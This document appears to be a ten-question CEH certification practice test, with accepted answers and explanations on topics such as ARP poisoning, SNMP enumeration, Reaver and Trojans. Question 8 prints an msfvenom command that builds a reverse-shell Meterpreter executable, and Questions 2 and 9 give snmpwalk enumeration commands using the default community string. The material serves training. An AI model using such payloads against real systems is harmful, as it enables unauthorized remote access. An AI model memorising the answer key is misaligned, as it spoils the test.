CEH Practice Test 8 — 10 Questions

Question 1

A security analyst captures network traffic and sees a sequence of ARP replies with the same IP address mapping to different MAC addresses within a short period. Which attack is indicated?

Accepted Answer

ARP poisoning. B is correct because ARP poisoning (also called ARP spoofing) involves sending forged ARP replies that map a target IP address (e.g., the default gateway) to the attacker's MAC address. The rapid sequence of ARP replies with the same IP but different MACs is a classic indicator of an active ARP poisoning attack, where the attacker floods the network to corrupt the ARP cache of hosts.

Answer

DNS spoofing

Answer

DHCP starvation

Answer

MAC flooding

Question 2

A penetration tester is performing SNMP enumeration against a network device and wants to retrieve the entire Management Information Base (MIB) tree. Which command should they use?

Accepted Answer

snmpwalk -v 2c -c public 192.168.1.1 .1. `snmpwalk` is specifically designed to retrieve a subtree of MIB objects by performing a series of GETNEXT requests starting from a given OID. Using `.1` as the root OID (which corresponds to the entire ISO tree) with the SNMPv2c community string 'public' will enumerate all accessible OIDs in the MIB tree, effectively dumping the entire Management Information Base.

Answer

snmpset -v 2c -c private 192.168.1.1 1.3.6.1.2.1.1.0 s 'test'

Answer

snmpbulkwalk -v 2c -c public 192.168.1.1 .1

Answer

snmpget -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1

Question 3

During a reconnaissance phase, a penetration tester uses Shodan to search for devices with a specific open port. Which of the following BEST describes what Shodan provides beyond a simple port scan?

Accepted Answer

Banner information and service metadata from internet-connected devices. Shodan is a search engine for internet-connected devices that actively probes IP addresses and collects banner information—the metadata that services (e.g., HTTP, SSH, FTP) return upon connection. This includes server headers, version strings, default credentials, and other service fingerprints, which goes far beyond a simple port scan that only reports whether a port is open or closed.

Answer

Real-time network traffic analysis

Answer

Passive DNS records and domain registration details

Answer

Historical vulnerability data for each device

Question 4

You are a security consultant for a mid-sized company that recently migrated its customer relationship management (CRM) system to a public cloud provider (AWS). The CRM is a web application behind an Application Load Balancer (ALB) with WAF enabled. The application stores sensitive customer data in an RDS MySQL database. The security team has configured security groups to allow only HTTPS (443) from the internet to the ALB, and from the ALB to the application servers on port 8080. The application servers can connect to the database on port 3306. During a routine vulnerability scan, you discover that the database is publicly accessible from the internet on port 3306, which contradicts the intended design. You verify that the security group for the database allows inbound traffic from 0.0.0.0/0 on port 3306. The database contains unencrypted personal identifiable information (PII). What is the most effective immediate action to remediate this vulnerability?

Accepted Answer

Modify the database security group to remove the 0.0.0.0/0 inbound rule and add a rule allowing only the application servers' security group on port 3306.. The most effective immediate action is to restrict the database security group to allow inbound traffic only from the application servers' security group on port 3306. This directly removes the public exposure (0.0.0.0/0) and enforces the principle of least privilege, ensuring only the intended application tier can communicate with the database. Since the database contains unencrypted PII, closing the public access is the highest priority remediation to prevent data exfiltration.

Answer

Enable RDS Enhanced Monitoring and log all connections to the database for forensic analysis.

Answer

Enable deletion protection on the RDS instance to prevent accidental removal.

Answer

Enable encryption at rest for the RDS instance using AWS KMS.

Question 5

A penetration tester runs `nbtstat -A 192.168.1.10` on a Windows machine. The output reveals the NetBIOS name table and shows a <20> entry. What does this indicate?

Accepted Answer

The target is a file server. The <20> entry in the NetBIOS name table indicates that the target machine is running the File Server service, which is a NetBIOS service type for file sharing. The `nbtstat -A` command queries the remote NetBIOS name table, and the <20> hex code specifically maps to the 'File Server Service' (also known as the 'Server' service) in the NetBIOS naming convention, as defined in RFC 1001/1002. This service is essential for SMB-based file sharing, making the target a file server.

Answer

The target is a printer

Answer

The target is a domain controller

Answer

The target is a workstation

Question 6

A penetration tester uses the tool Reaver to target a Wi-Fi network. What vulnerability is the tester attempting to exploit?

Accepted Answer

WPS PIN brute-force weakness. Reaver is a tool specifically designed to exploit the WPS (Wi-Fi Protected Setup) PIN brute-force vulnerability. It targets the WPS registrar's lack of rate-limiting and the fact that the PIN is split into two halves (first half 4 digits, second half 3 digits with a checksum), allowing an attacker to recover the WPS PIN and subsequently the WPA2 pre-shared key in a matter of hours.

Answer

WPA2 4-way handshake capture

Answer

Weak WEP encryption keys

Answer

RADIUS authentication bypass

Question 7

A network administrator wants to prevent an attacker from using a network sniffer to capture traffic between a client and a web server. Which protocol should be enforced to encrypt all communication?

Accepted Answer

HTTPS. HTTPS (HTTP over TLS, RFC 2818) encrypts all communication between a client and a web server using TLS/SSL, preventing a network sniffer from capturing plaintext data such as cookies, URLs, or form submissions. This ensures confidentiality and integrity of the web traffic, directly countering passive eavesdropping attacks.

Answer

SNMP

Answer

FTP

Answer

HTTP

Question 8

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

Accepted Answer

Generating a Trojan. The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Answer

Creating a virus

Answer

Deploying a worm

Answer

Initiating a DoS attack

Question 9

During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amount of output. Which protocol and community string are being used?

Accepted Answer

SNMPv2c with community string public. The command 'snmpwalk -v2c -c public 192.168.1.10' explicitly specifies SNMP version 2c with the '-v2c' flag and the community string 'public' with the '-c' flag. SNMPv2c is the most common version for read-only queries, and 'public' is the default read-only community string. The large output indicates successful enumeration of the MIB tree, confirming the community string is correct.

Answer

SNMPv1 with community string public

Answer

SNMPv1 with community string private

Answer

SNMPv3 with user public

Question 10

During a penetration test, an attacker gains access to a system and wants to maintain persistent remote control. Which type of Trojan is specifically designed for this purpose?

Accepted Answer

Backdoor. A backdoor Trojan is specifically designed to bypass normal authentication mechanisms and provide an attacker with persistent, unauthorized remote access to a compromised system. Unlike other Trojans that perform a single malicious action, backdoors often install services or modify system startup entries (e.g., registry Run keys, cron jobs) to survive reboots, ensuring long-term control.

Answer

Ransomware

Answer

Keylogger

Answer

Downloader